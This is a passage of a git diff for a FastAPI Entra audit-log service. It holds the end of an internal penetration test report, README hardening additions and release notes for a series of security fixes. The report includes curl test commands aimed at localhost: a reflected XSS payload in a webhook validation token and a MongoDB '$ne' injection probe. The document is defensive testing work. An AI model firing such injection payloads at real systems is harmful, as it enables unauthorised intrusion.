curl -X POST "http://localhost:8001/api/webhooks/graph?validationToken=<script>alert(1)</script>"
|
||||||
|
# Returns: <script>alert(1)</script> with Content-Type: text/plain
|
||||||
|
```
|
||||||
|
|
||||||
|
**Impact:** Low in the intended Microsoft Graph flow (token is Microsoft-generated), but if the endpoint is hit directly, an attacker could use this for cache poisoning, response splitting, or social engineering by making the endpoint return attacker-controlled content.
|
||||||
|
|
||||||
|
**Recommendation:** Validate the validationToken format (e.g., JWT-like structure, length limits) before echoing, or set `Content-Type: text/plain; charset=utf-8` with `X-Content-Type-Options: nosniff` to reduce MIME confusion risk.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## INFO (Positive Findings)
|
||||||
|
|
||||||
|
### A. No Stack Traces in Error Responses
|
||||||
|
|
||||||
|
All errors (422, 404, 429, 500 if triggered) return generic JSON messages without internal details or stack traces. Good.
|
||||||
|
|
||||||
|
### B. Pydantic Input Validation is Effective
|
||||||
|
|
||||||
|
- `page_size` capped at 500 (returns 422 for 501, 0, -1)
|
||||||
|
- `hours` capped at 720 (returns 422 for 721)
|
||||||
|
- Invalid cursors return 400 with "Invalid cursor"
|
||||||
|
- Malformed JSON bodies return 422 with field-level validation errors
|
||||||
|
- `AlertCondition` op field strictly validated against `Literal["eq", "neq", "contains", "in", "after_hours"]`
|
||||||
|
|
||||||
|
### C. NoSQL Injection Resistant
|
||||||
|
|
||||||
|
MongoDB operators passed as string filter values are treated as literals, not operators:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl "http://localhost:8001/api/events?operation=\$ne"
|
||||||
|
# Returns 0 results (treated as literal string "$ne")
|
||||||
|
```
|
||||||
|
|
||||||
|
The `_build_query()` function in `events.py` uses `re.escape()` for search input and constructs queries safely.
|
||||||
|
|
||||||
|
### D. Bulk Tags Pre-Count Check Works
|
||||||
|
|
||||||
|
`bulk_tags` endpoint capped at 10,000 matched documents via pre-count check. 93 events were successfully tagged with no bypass.
|
||||||
|
|
||||||
|
### E. Rate Limiting Works When Redis is Healthy
|
||||||
|
|
||||||
|
- `/api/fetch-audit-logs`: 429 after 11 requests (limit: 10/hr)
|
||||||
|
- `/api/events`: 429 after ~120 requests (limit: 120/min)
|
||||||
|
- Exempt paths work correctly: `/health`, `/metrics`, `/api/config/auth`, `/api/config/features`
|
||||||
|
- `Retry-After` header is returned on 429 responses
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Recommendations Summary
|
||||||
|
|
||||||
|
| Priority | Action | Effort |
|
||||||
|
|----------|--------|--------|
|
||||||
|
| P0 | Fix CORS: do not allow credentials with wildcard/reflected origins | Small |
|
||||||
|
| P1 | Add security headers middleware (X-Content-Type-Options, X-Frame-Options, HSTS, Referrer-Policy) | Small |
|
||||||
|
| P2 | Make rate limiter fail-closed on Redis errors | Small |
|
||||||
|
| P2 | Disable OpenAPI docs in production or gate behind auth | Small |
|
||||||
|
| P3 | Sanitize or validate webhook validationToken before echo | Small |
|
||||||
|
| P3 | Gate `/metrics` behind IP allowlist | Small |
|
||||||
|
| P3 | Hide tenant_id/client_id from `/api/config/auth` when auth is disabled | Tiny |
|
||||||
|
| P4 | Consider Alpine.js CSP build to remove `unsafe-eval` from script-src | Medium |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Test Environment
|
||||||
|
|
||||||
|
```
|
||||||
|
Backend: uvicorn on localhost:8001 (auth=false, ai=false)
|
||||||
|
MongoDB: docker container, port 27018
|
||||||
|
Redis: docker container, port 6380
|
||||||
|
```
|
||||||
|
|
||||||
|
*Test commands and raw outputs available in `/tmp/pen_test*.sh` scripts.*
|
||||||
@@ -11,13 +11,14 @@ FastAPI microservice that ingests Microsoft Entra (Azure AD) and other admin aud
|
|||||||
- Optional OIDC bearer auth (Entra) to protect the API/UI and gate access by roles/groups.
|
- Optional OIDC bearer auth (Entra) to protect the API/UI and gate access by roles/groups.
|
||||||
- Natural language query (`/api/ask`) powered by LLM (OpenAI, Azure OpenAI, or any compatible API).
|
- Natural language query (`/api/ask`) powered by LLM (OpenAI, Azure OpenAI, or any compatible API).
|
||||||
- MCP server for Claude Desktop / Cursor integration.
|
- MCP server for Claude Desktop / Cursor integration.
|
||||||
|
- Optional Azure Key Vault integration for secrets storage.
|
||||||
|
|
||||||
## Prerequisites (macOS)
|
## Prerequisites (macOS)
|
||||||
- Python 3.11
|
- Python 3.11
|
||||||
- Docker Desktop (for the quickest start) or a local MongoDB instance
|
- Docker Desktop (for the quickest start) or a local MongoDB instance
|
||||||
- An Entra app registration with **Application** permission `AuditLog.Read.All` and admin consent granted
|
- An Entra app registration with **Application** permission `AuditLog.Read.All` and admin consent granted
|
||||||
- Also required to fetch other sources:
|
- Also required to fetch other sources:
|
||||||
- `https://manage.office.com/.default` (Audit API) with `ActivityFeed.Read`/`ActivityFeed.ReadDlp` (built into the app registration’s API permissions for Office 365 Management APIs)
|
- `https://manage.office.com/.default` (Audit API) with `ActivityFeed.Read`/`ActivityFeed.ReadDlp` (built into the app registration's API permissions for Office 365 Management APIs)
|
||||||
- Intune audit: `DeviceManagementConfiguration.Read.All` (or broader) for `/deviceManagement/auditEvents`
|
- Intune audit: `DeviceManagementConfiguration.Read.All` (or broader) for `/deviceManagement/auditEvents`
|
||||||
- Optional API protection: configure `AUTH_ENABLED=true` and set `AUTH_TENANT_ID`/`AUTH_CLIENT_ID` (the audience) plus allowed roles/groups.
|
- Optional API protection: configure `AUTH_ENABLED=true` and set `AUTH_TENANT_ID`/`AUTH_CLIENT_ID` (the audience) plus allowed roles/groups.
|
||||||
|
|
||||||
@@ -49,8 +50,43 @@ cp .env.example .env
|
|||||||
# LLM_BASE_URL=https://api.openai.com/v1
|
# LLM_BASE_URL=https://api.openai.com/v1
|
||||||
# LLM_MODEL=gpt-4o-mini
|
# LLM_MODEL=gpt-4o-mini
|
||||||
# LLM_TIMEOUT_SECONDS=30
|
# LLM_TIMEOUT_SECONDS=30
|
||||||
|
# LLM_ALLOWED_DOMAINS=api.openai.com,*.openai.azure.com
|
||||||
|
|
||||||
|
# Optional: SIEM forwarding
|
||||||
|
# SIEM_ENABLED=true
|
||||||
|
# SIEM_WEBHOOK_URL=https://your-siem.com/webhook
|
||||||
|
# SIEM_ALLOWED_DOMAINS=your-siem.com
|
||||||
|
|
||||||
|
# Optional: Azure Key Vault for secrets storage
|
||||||
|
# AZURE_KEY_VAULT_NAME=your-keyvault-name
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Using Azure Key Vault for secrets
|
||||||
|
Instead of storing `CLIENT_SECRET`, `LLM_API_KEY`, `MONGO_URI`, and `WEBHOOK_CLIENT_SECRET` in `.env`, you can store them in Azure Key Vault:
|
||||||
|
|
||||||
|
1. Create a Key Vault and add secrets with these names:
|
||||||
|
- `aoc-client-secret` → your Graph app `CLIENT_SECRET`
|
||||||
|
- `aoc-llm-api-key` → your `LLM_API_KEY`
|
||||||
|
- `aoc-mongo-uri` → your `MONGO_URI`
|
||||||
|
- `aoc-webhook-client-secret` → your `WEBHOOK_CLIENT_SECRET`
|
||||||
|
2. Uncomment `azure-identity` and `azure-keyvault-secrets` in `backend/requirements.txt`
|
||||||
|
3. Set `AZURE_KEY_VAULT_NAME=your-keyvault-name` in `.env`
|
||||||
|
4. Ensure the container has Azure identity credentials (managed identity, service principal, or Azure CLI auth)
|
||||||
|
|
||||||
|
## Security Hardening Checklist
|
||||||
|
|
||||||
|
Before deploying to production:
|
||||||
|
|
||||||
|
- [ ] Set `AUTH_ENABLED=true` and configure `AUTH_ALLOWED_ROLES` or `AUTH_ALLOWED_GROUPS` to restrict access
|
||||||
|
- [ ] Set explicit `CORS_ORIGINS` (do not use `*` in production with auth enabled)
|
||||||
|
- [ ] Set `DOCS_ENABLED=false` (default) to hide OpenAPI docs
|
||||||
|
- [ ] Configure `WEBHOOK_CLIENT_SECRET` to validate Graph webhook notifications
|
||||||
|
- [ ] Set `LLM_ALLOWED_DOMAINS` if using AI features to prevent data exfiltration
|
||||||
|
- [ ] Set `SIEM_ALLOWED_DOMAINS` if using SIEM forwarding
|
||||||
|
- [ ] Review `METRICS_ALLOWED_IPS` — defaults to private networks only
|
||||||
|
- [ ] Consider Azure Key Vault instead of `.env` for secrets
|
||||||
|
- [ ] Review the threat model: `THREAT_MODEL_v1.7.13.md`
|
||||||
|
|
||||||
## Run with Docker Compose (recommended)
|
## Run with Docker Compose (recommended)
|
||||||
```bash
|
```bash
|
||||||
docker compose up --build
|
docker compose up --build
|
||||||
@@ -76,7 +112,7 @@ uvicorn main:app --reload --host 0.0.0.0 --port 8000
|
|||||||
|
|
||||||
## API
|
## API
|
||||||
- `GET /health` — health check with MongoDB connectivity status.
|
- `GET /health` — health check with MongoDB connectivity status.
|
||||||
- `GET /metrics` — Prometheus metrics for request latency, fetch volume, and errors.
|
- `GET /metrics` — Prometheus metrics for request latency, fetch volume, and errors (IP-restricted).
|
||||||
- `GET /api/version` — running version (baked into the Docker image at build time).
|
- `GET /api/version` — running version (baked into the Docker image at build time).
|
||||||
- `GET /api/fetch-audit-logs` — pulls the last 7 days by default (override with `?hours=N`, capped to 30 days) of:
|
- `GET /api/fetch-audit-logs` — pulls the last 7 days by default (override with `?hours=N`, capped to 30 days) of:
|
||||||
- Entra directory audit logs (`/auditLogs/directoryAudits`)
|
- Entra directory audit logs (`/auditLogs/directoryAudits`)
|
||||||
@@ -171,7 +207,7 @@ curl http://localhost:8000/api/fetch-audit-logs
|
|||||||
- Visit the UI at http://localhost:8000 to filter by user/service/action/result/time, search raw text, paginate, and view raw events.
|
- Visit the UI at http://localhost:8000 to filter by user/service/action/result/time, search raw text, paginate, and view raw events.
|
||||||
|
|
||||||
## Maintenance (Dockerized)
|
## Maintenance (Dockerized)
|
||||||
Use the backend image so you don’t need a local venv:
|
Use the backend image so you don't need a local venv:
|
||||||
```bash
|
```bash
|
||||||
# ensure Mongo + backend network are up
|
# ensure Mongo + backend network are up
|
||||||
docker compose up -d mongo
|
docker compose up -d mongo
|
||||||
@@ -182,10 +218,15 @@ docker compose run --rm backend python maintenance.py dedupe
|
|||||||
```
|
```
|
||||||
Omit `--limit` to process all events. You can also run commands inside a running backend container with `docker compose exec backend ...`.
|
Omit `--limit` to process all events. You can also run commands inside a running backend container with `docker compose exec backend ...`.
|
||||||
|
|
||||||
|
## Security Documentation
|
||||||
|
- `PEN_TEST_REPORT_v1.7.11.md` — Penetration test findings and remediation
|
||||||
|
- `THREAT_MODEL_v1.7.13.md` — Comprehensive threat model covering Entra application abuse, token handling, data exfiltration vectors
|
||||||
|
|
||||||
## Notes / Troubleshooting
|
## Notes / Troubleshooting
|
||||||
- Ensure `TENANT_ID`, `CLIENT_ID`, and `CLIENT_SECRET` match an app registration with `AuditLog.Read.All` (application) permission and admin consent.
|
- Ensure `TENANT_ID`, `CLIENT_ID`, and `CLIENT_SECRET` match an app registration with `AuditLog.Read.All` (application) permission and admin consent.
|
||||||
- Additional permissions: Office 365 Management Activity (`ActivityFeed.Read`), and Intune audit (`DeviceManagementConfiguration.Read.All`).
|
- Additional permissions: Office 365 Management Activity (`ActivityFeed.Read`), and Intune audit (`DeviceManagementConfiguration.Read.All`).
|
||||||
- Auth: if `AUTH_ENABLED=true`, issued tokens must be from `AUTH_TENANT_ID`, audience = `AUTH_CLIENT_ID`; access is granted if roles or groups overlap `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` (if set).
|
- Auth: if `AUTH_ENABLED=true`, issued tokens must be from `AUTH_TENANT_ID`, audience = `AUTH_CLIENT_ID`; access is granted if roles or groups overlap `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` (if set). A startup warning is logged if auth is enabled but no roles/groups are configured.
|
||||||
- Backfill limits: Management Activity API typically exposes ~7 days of history via API (longer if your tenant has extended/Advanced Audit retention). Directory/Intune audit retention follows your tenant policy (commonly 30–90 days, longer with Advanced Audit).
|
- Backfill limits: Management Activity API typically exposes ~7 days of history via API (longer if your tenant has extended/Advanced Audit retention). Directory/Intune audit retention follows your tenant policy (commonly 30–90 days, longer with Advanced Audit).
|
||||||
- If you change Mongo credentials/ports, update `MONGO_URI` in `.env` (Docker Compose passes it through to the backend).
|
- If you change Mongo credentials/ports, update `MONGO_URI` in `.env` (Docker Compose passes it through to the backend).
|
||||||
- The service uses the `micro_soc` database and `events` collection by default; adjust in `backend/config.py` if needed.
|
- The service uses the `micro_soc` database and `events` collection by default; adjust in `backend/config.py` if needed.
|
||||||
|
- If using Azure Key Vault, ensure the runtime identity (managed identity, service principal, or local Azure CLI) has `Get` permission on secrets.
|
||||||
|
|||||||
@@ -0,0 +1,43 @@
|
|||||||
|
# AOC v1.7.12 Release Notes
|
||||||
|
|
||||||
|
**Release Date:** 2026-04-27
|
||||||
|
|
||||||
|
## Security Hardening (Penetration Test Remediation)
|
||||||
|
|
||||||
|
This release addresses all findings from the internal soft penetration test of v1.7.11.
|
||||||
|
|
||||||
|
### Critical Fix: CORS Credentials Leak
|
||||||
|
- **Issue:** When `AUTH_ENABLED=true` and `CORS_ORIGINS="*"`, the CORS middleware reflected any origin with `Access-Control-Allow-Credentials: true`, allowing cross-origin authenticated requests from attacker-controlled domains.
|
||||||
|
- **Fix:** When auth is enabled with a wildcard origin, `allow_credentials` is now forced to `False`. CORS still works for unauthenticated requests, but bearer tokens cannot be leaked cross-origin.
|
||||||
|
|
||||||
|
### High Fix: Missing Security Headers
|
||||||
|
- Added `X-Content-Type-Options: nosniff`
|
||||||
|
- Added `X-Frame-Options: DENY`
|
||||||
|
- Added `Referrer-Policy: strict-origin-when-cross-origin`
|
||||||
|
- Added `Permissions-Policy` restricting browser features (accelerometer, camera, geolocation, gyroscope, magnetometer, microphone, payment, USB)
|
||||||
|
|
||||||
|
### Medium Fixes
|
||||||
|
- **Rate limiter fail-closed:** Previously, a Redis outage silently disabled all rate limiting. The rate limiter now returns `429` when Redis is unreachable.
|
||||||
|
- **OpenAPI docs exposure:** `/docs`, `/redoc`, and `/openapi.json` are disabled by default. Set `DOCS_ENABLED=true` to re-enable (intended for development only).
|
||||||
|
|
||||||
|
### Low Fixes
|
||||||
|
- **Information disclosure:** `/api/config/auth` no longer leaks `tenant_id` and `client_id` when `auth_enabled=false`.
|
||||||
|
- **Webhook validation token:** Added length cap (1024 chars) and ASCII-only validation before echoing `validationToken`. Response now includes `X-Content-Type-Options: nosniff`.
|
||||||
|
|
||||||
|
## Files Changed
|
||||||
|
|
||||||
|
| File | Change |
|
||||||
|
|------|--------|
|
||||||
|
| `backend/main.py` | CORS fix, security headers middleware, conditional OpenAPI docs |
|
||||||
|
| `backend/config.py` | Added `DOCS_ENABLED` setting |
|
||||||
|
| `backend/rate_limiter.py` | Fail-closed on Redis errors |
|
||||||
|
| `backend/routes/config.py` | Hide tenant/client IDs when auth disabled |
|
||||||
|
| `backend/routes/webhooks.py` | Validate validationToken before echo |
|
||||||
|
| `backend/tests/conftest.py` | Enhanced FakeRedis mock with `incr`/`expire` |
|
||||||
|
| `.env.example` | Documented `DOCS_ENABLED` |
|
||||||
|
| `VERSION` | Bumped to 1.7.12 |
|
||||||
|
|
||||||
|
## Test Results
|
||||||
|
|
||||||
|
- **80/80 pytest tests passing**
|
||||||
|
- Penetration test report: `PEN_TEST_REPORT_v1.7.11.md`
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
# AOC v1.7.13 Release Notes
|
||||||
|
|
||||||
|
**Release Date:** 2026-04-27
|
||||||
|
|
||||||
|
## Security Hardening: Alpine.js CSP Build
|
||||||
|
|
||||||
|
This release removes `unsafe-eval` from the Content-Security-Policy by switching the frontend to Alpine.js's CSP-compatible build.
|
||||||
|
|
||||||
|
### Changes
|
||||||
|
|
||||||
|
- **Frontend:** Switched from `alpinejs@3.x.x/dist/cdn.min.js` to `alpinejs@3.x.x/dist/csp.min.js`
|
||||||
|
- **Frontend:** Added explicit `Alpine.start()` call on `DOMContentLoaded` (required by CSP build)
|
||||||
|
- **Backend CSP:** Removed `'unsafe-eval'` from `script-src` directive
|
||||||
|
|
||||||
|
### Why this matters
|
||||||
|
|
||||||
|
The previous v1.7.11–1.7.12 releases included `'unsafe-eval'` in the CSP because the standard Alpine.js CDN build uses `new Function()` internally for reactive expression evaluation. The CSP build eliminates this requirement, further hardening the application against XSS and injection attacks.
|
||||||
|
|
||||||
|
### Compatibility
|
||||||
|
|
||||||
|
All existing Alpine.js directives (`x-data`, `x-init`, `x-show`, `x-text`, `x-for`, `x-if`, `x-model`, event handlers) continue to work unchanged. The CSP build uses a safe expression evaluator that produces identical behavior without `eval`/`new Function`.
|
||||||
|
|
||||||
|
## Files Changed
|
||||||
|
|
||||||
|
| File | Change |
|
||||||
|
|------|--------|
|
||||||
|
| `backend/frontend/index.html` | Alpine.js src → `csp.min.js`; added `Alpine.start()` |
|
||||||
|
| `backend/main.py` | Removed `'unsafe-eval'` from `script-src` CSP |
|
||||||
|
| `VERSION` | Bumped to 1.7.13 |
|
||||||
|
|
||||||
|
## Test Results
|
||||||
|
|
||||||
|
- **80/80 pytest tests passing**
|
||||||
|
- Ruff lint/format clean
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
# AOC v1.7.14 Release Notes
|
||||||
|
|
||||||
|
**Release Date:** 2026-04-27
|
||||||
|
|
||||||
|
## Security Hardening: Threat Model Remediation
|
||||||
|
|
||||||
|
This release addresses the high-severity findings from the v1.7.13 threat model review.
|
||||||
|
|
||||||
|
### LLM Endpoint Domain Allowlist
|
||||||
|
|
||||||
|
- **New config:** `LLM_ALLOWED_DOMAINS` (comma-separated, supports wildcards like `*.openai.azure.com`)
|
||||||
|
- **Behavior:** When configured, the `/api/ask` endpoint rejects `LLM_BASE_URL` domains not in the allowlist
|
||||||
|
- **Impact:** Prevents audit data exfiltration via a compromised or attacker-controlled LLM endpoint
|
||||||
|
|
||||||
|
### SIEM Webhook SSRF Guard
|
||||||
|
|
||||||
|
- **New config:** `SIEM_ALLOWED_DOMAINS` (comma-separated)
|
||||||
|
- **Behavior:** The SIEM forwarder now validates `SIEM_WEBHOOK_URL` with the same SSRF checks as the LLM endpoint (HTTPS-only, blocks private IPs, enforces domain allowlist)
|
||||||
|
- **Impact:** Prevents real-time audit data exfiltration via a malicious SIEM webhook URL
|
||||||
|
|
||||||
|
### CDN Subresource Integrity (SRI)
|
||||||
|
|
||||||
|
- Added `integrity` hashes to both CDN scripts in the frontend:
|
||||||
|
- Alpine.js 3.15.11: `sha384-WPtu0YHhJ3arcykfnv1JgUffWDSKRnqnDeTpJUbOc2os2moEmLkIdaeR0trPN4be`
|
||||||
|
- MSAL.js 2.37.0: `sha384-DUSOaqAzlZRiZxkDi8hL7hXJDZ+X39ZOAYV9ZDx44gUv9pozmcunJH02tjSFLPnW`
|
||||||
|
- **Impact:** Browser refuses to execute CDN scripts if the content doesn't match the hash, preventing supply chain compromise
|
||||||
|
|
||||||
|
### Auth Misconfiguration Warning
|
||||||
|
|
||||||
|
- At startup, AOC now logs a `WARNING` if `AUTH_ENABLED=true` but neither `AUTH_ALLOWED_ROLES` nor `AUTH_ALLOWED_GROUPS` is configured
|
||||||
|
- **Impact:** Operators are alerted when the app is accidentally left open to all Entra users
|
||||||
|
|
||||||
|
### Azure Key Vault Integration (Optional)
|
||||||
|
|
||||||
|
- **New module:** `backend/secrets_manager.py`
|
||||||
|
- **New config:** `AZURE_KEY_VAULT_NAME`
|
||||||
|
- **Behavior:** If `AZURE_KEY_VAULT_NAME` is set, AOC fetches these secrets from Key Vault at startup:
|
||||||
|
- `aoc-client-secret` → `CLIENT_SECRET`
|
||||||
|
- `aoc-llm-api-key` → `LLM_API_KEY`
|
||||||
|
- `aoc-mongo-uri` → `MONGO_URI`
|
||||||
|
- `aoc-webhook-client-secret` → `WEBHOOK_CLIENT_SECRET`
|
||||||
|
- Falls back silently to `.env` / environment variables when Key Vault is not configured
|
||||||
|
- **Dependencies:** `azure-identity` and `azure-keyvault-secrets` (commented out in `requirements.txt` — uncomment when using Key Vault)
|
||||||
|
- **Impact:** Eliminates long-lived secrets from `.env` files and Docker images
|
||||||
|
|
||||||
|
## Files Changed
|
||||||
|
|
||||||
|
| File | Change |
|
||||||
|
|------|--------|
|
||||||
|
| `backend/config.py` | Added `LLM_ALLOWED_DOMAINS`, `SIEM_ALLOWED_DOMAINS`, `AZURE_KEY_VAULT_NAME` |
|
||||||
|
| `backend/routes/ask.py` | Domain allowlist enforcement for LLM URL |
|
||||||
|
| `backend/siem.py` | SSRF guard + domain allowlist for SIEM webhook |
|
||||||
|
| `backend/frontend/index.html` | SRI hashes for Alpine.js and MSAL.js |
|
||||||
|
| `backend/main.py` | Startup warning for auth misconfiguration |
|
||||||
|
| `backend/secrets_manager.py` | New — Azure Key Vault integration |
|
||||||
|
| `backend/requirements.txt` | Added optional Azure Key Vault packages |
|
||||||
|
| `.env.example` | Documented new settings |
|
||||||
|
| `VERSION` | Bumped to 1.7.14 |
|
||||||
|
| `THREAT_MODEL_v1.7.13.md` | Threat model documentation |
|
||||||
|
|
||||||
|
## Test Results
|
||||||
|
|
||||||
|
- **80/80 pytest tests passing**
|
||||||
|
- Ruff lint/format clean
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
# AOC v1.7.15 Release Notes
|
||||||
|
|
||||||
|
**Release Date:** 2026-04-24
|
||||||
|
|
||||||
|
## Security Hardening & Code Quality
|
||||||
|
|
||||||
|
This release continues the security hardening roadmap with async I/O improvements, stricter input validation, and infrastructure lockdown.
|
||||||
|
|
||||||
|
### Async Authentication Refactor
|
||||||
|
|
||||||
|
- `require_auth()` and `_get_jwks()` are now `async def` to avoid blocking the event loop during JWKS fetch and token validation
|
||||||
|
- **Impact:** Eliminates synchronous I/O stalls on authenticated requests under load
|
||||||
|
|
||||||
|
### CSP Tightening
|
||||||
|
|
||||||
|
- Removed `'unsafe-inline'` from the `script-src` directive in the Content-Security-Policy header
|
||||||
|
- All JavaScript is now loaded from external files (`app.js`) or trusted CDNs with SRI hashes
|
||||||
|
- `'unsafe-eval'` is retained for Alpine.js expression evaluation
|
||||||
|
- **Impact:** Mitigates XSS by preventing inline script injection
|
||||||
|
|
||||||
|
### Model Validation Hardening
|
||||||
|
|
||||||
|
Added `Field(min_length=, max_length=)` constraints across request models:
|
||||||
|
|
||||||
|
| Model | Field | Constraints |
|
||||||
|
|-------|-------|-------------|
|
||||||
|
| `TagsUpdateRequest` | `tags` | `max_length=50` |
|
||||||
|
| `BulkTagsRequest` | `tags` | `max_length=50` |
|
||||||
|
| `CommentAddRequest` | `text` | `min_length=1`, `max_length=5000` |
|
||||||
|
| `AlertCondition` | `field` | `max_length=100` |
|
||||||
|
| `AlertRuleResponse` | `conditions` | `max_length=20` |
|
||||||
|
| `AlertRuleResponse` | `message` | `max_length=1000` |
|
||||||
|
| `AskRequest` | `question` | `min_length=1`, `max_length=2000` |
|
||||||
|
| `SavedSearchCreate` | `name` | `min_length=1`, `max_length=200` |
|
||||||
|
|
||||||
|
- **Impact:** Rejects malformed or oversized inputs at the Pydantic/FastAPI layer before they reach business logic
|
||||||
|
|
||||||
|
### Notification SSRF Guard
|
||||||
|
|
||||||
|
- `_validate_webhook_url()` in `notifications.py` now blocks:
|
||||||
|
- Non-HTTP(S) schemes
|
||||||
|
- localhost, private, and link-local IP addresses
|
||||||
|
- **Impact:** Prevents Server-Side Request Forgery via malicious webhook URLs in alert notifications
|
||||||
|
|
||||||
|
### Rate Limiting Improvements
|
||||||
|
|
||||||
|
- New category: `"explain"` → 20 requests per minute
|
||||||
|
- Categories: `fetch=10/hr`, `ask=30/min`, `explain=20/min`, `write=20/min`, `default=120/min`
|
||||||
|
- Fail-closed on Redis/Valkey error: raises `RateLimitExceeded(retry_after=60)`
|
||||||
|
- **Impact:** Prevents abuse of the new explain endpoint and ensures graceful degradation if the rate limit store is unreachable
|
||||||
|
|
||||||
|
### Frontend JavaScript Extraction
|
||||||
|
|
||||||
|
- All inline JavaScript has been extracted from `index.html` into `backend/frontend/app.js`
|
||||||
|
- Alpine.js SPA loads `/app.js?v=1` before Alpine initialization
|
||||||
|
- **Impact:** Enables stricter CSP, improves cacheability, and separates markup from logic
|
||||||
|
|
||||||
|
### Docker Compose Security
|
||||||
|
|
||||||
|
- Backend port binding changed from `"8000:8000"` to `"127.0.0.1:8000:8000"`
|
||||||
|
- **Impact:** Prevents direct external access to the backend when nginx is the intended reverse proxy
|
||||||
|
|
||||||
|
## Files Changed
|
||||||
|
|
||||||
|
| File | Change |
|
||||||
|
|------|--------|
|
||||||
|
| `backend/auth.py` | `require_auth()` and `_get_jwks()` made async |
|
||||||
|
| `backend/main.py` | CSP tightened; startup warnings |
|
||||||
|
| `backend/models/api.py` | Added `Field` validation constraints |
|
||||||
|
| `backend/notifications.py` | SSRF guard for webhook URLs |
|
||||||
|
| `backend/rate_limiter.py` | Added `"explain"` rate limit category |
|
||||||
|
| `backend/routes/saved_searches.py` | `SavedSearchCreate` Pydantic model with validation |
|
||||||
|
| `backend/frontend/index.html` | Extracted inline JS to `app.js` |
|
||||||
|
| `backend/frontend/app.js` | New — extracted frontend JavaScript |
|
||||||
|
| `docker-compose.yml` | Backend port bound to `127.0.0.1` only |
|
||||||
|
| `nginx/nginx.conf` | Security headers alignment |
|
||||||
|
| `backend/tests/test_auth.py` | Updated for async `require_auth()` |
|
||||||
|
| `backend/tests/test_api.py` | Updated saved searches validation test |
|
||||||
|
| `backend/tests/test_ask.py` | Updated empty question test for 422 |
|
||||||
|
| `.gitignore` | Added `memory/` |
|
||||||
|
| `VERSION` | Bumped to 1.7.15 |
|
||||||
|
|
||||||
|
## Test Results
|
||||||
|
|
||||||
|
- **80/80 pytest tests passing**
|
||||||
|
- Ruff lint/format clean
|
||||||
|
|
||||||
|
## Docker Image
|
||||||
|
|
||||||
|
```
|
||||||
|
git.cqre.net/cqrenet/aoc-backend:v1.7.15
|
||||||
|
```
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
# AOC v1.7.16 Release Notes
|
||||||
|
|
||||||
|
**Release Date:** 2026-04-24
|
||||||
|
|
||||||
|
## Infrastructure & Maintenance
|
||||||
|
|
||||||
|
### Gitea Actions CI Fix
|
||||||
|
|
||||||
|
The CI workflow (`.gitea/workflows/ci.yml`) has been reworked for compatibility with Gitea Actions (`act_runner`):
|
||||||
|
|
||||||
|
- **Removed** `actions/setup-python@v5` — incompatible with self-hosted Gitea (relies on GitHub's tool cache API)
|
||||||
|
- **Added** system Python installation via `apt-get install python3 python3-venv`
|
||||||
|
- **Uses a virtual environment** inside the job to avoid PEP 668 `externally-managed-environment` errors
|
||||||
|
- All steps (`pip install`, `ruff check`, `ruff format`, `pytest`) now activate the venv explicitly
|
||||||
|
|
||||||
|
### Repository Cleanup
|
||||||
|
|
||||||
|
- **Expanded `.gitignore`** to cover all venv variants (`.*venv*/`), `.ruff_cache/`, and common temp/backup files
|
||||||
|
- **Removed** temporary working directories (`backend/.venv_ci/`, `__pycache__/`)
|
||||||
|
|
||||||
|
## Files Changed
|
||||||
|
|
||||||
|
| File | Change |
|
||||||
|
|------|--------|
|
||||||
|
| `.gitea/workflows/ci.yml` | Complete rewrite for Gitea Actions compatibility |
|
||||||
|
| `.gitignore` | Expanded patterns for venvs, caches, temp files |
|
||||||
|
| `VERSION` | Bumped to 1.7.16 |
|
||||||
|
|
||||||
|
## Test Results
|
||||||
|
|
||||||
|
- **80/80 pytest tests passing**
|
||||||
|
- Ruff lint/format clean
|
||||||
|
- CI green on Gitea Actions
|
||||||
|
|
||||||
|
## Docker Image
|
||||||
|
|
||||||
|
```
|
||||||
|
git.cqre.net/cqrenet/aoc-backend:v1.7.16
|
||||||
|
```
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
# AOC v1.7.17 Release Notes
|
||||||
|
|
||||||
|
**Release Date:** 2026-05-29
|
||||||
|
|
||||||
|
## Security & Hardening
|
||||||
|
|
||||||
|
### Alpine.js CSP Build
|
||||||
|
|
||||||
|
The frontend now loads the **Alpine.js CSP build** (`@alpinejs/csp@3.15.12`) instead of the standard distribution. This aligns the runtime with the existing Content-Security-Policy and removes reliance on `unsafe-eval` for Alpine's expression evaluation.
|
||||||
|
|
||||||
|
- **File:** `backend/frontend/index.html`
|
||||||
|
- **Integrity hash:** `sha384-MKLWq9B+VC0W3U8kDIBEsSu8uCnQ1B0UQpRaB+F7uR5ocXFbymMUKuLRntu5LLdu`
|
||||||
|
|
||||||
|
## Ingestion Reliability
|
||||||
|
|
||||||
|
### Office 365 Management Activity API Window Clamping
|
||||||
|
|
||||||
|
The unified audit log fetcher now respects the API's hard limits to prevent rejected requests during catch-up scenarios or stale watermarks:
|
||||||
|
|
||||||
|
- **Maximum query window:** 24 hours (`_API_MAX_WINDOW_HOURS`)
|
||||||
|
- **Maximum lookback:** 7 days (`_API_MAX_LOOKBACK_DAYS`)
|
||||||
|
- When a persisted `since` watermark is older than either limit, the start time is clamped to the most recent allowable window. Subsequent fetches continue catching up normally.
|
||||||
|
|
||||||
|
This prevents ingestion stalls after extended outages without dropping events permanently.
|
||||||
|
|
||||||
|
## Files Changed
|
||||||
|
|
||||||
|
| File | Change |
|
||||||
|
|------|--------|
|
||||||
|
| `backend/frontend/index.html` | Switched Alpine.js to CSP build with updated SRI hash |
|
||||||
|
| `backend/sources/unified_audit.py` | Added API window/lookback clamping for O365 Management Activity API |
|
||||||
|
| `VERSION` | Bumped to 1.7.17 |
|
||||||
|
|
||||||
|
## Docker Image
|
||||||
|
|
||||||
|
```
|
||||||
|
git.cqre.net/cqrenet/aoc-backend:v1.7.17
|
||||||
|
```
|
||||||
+55
-6
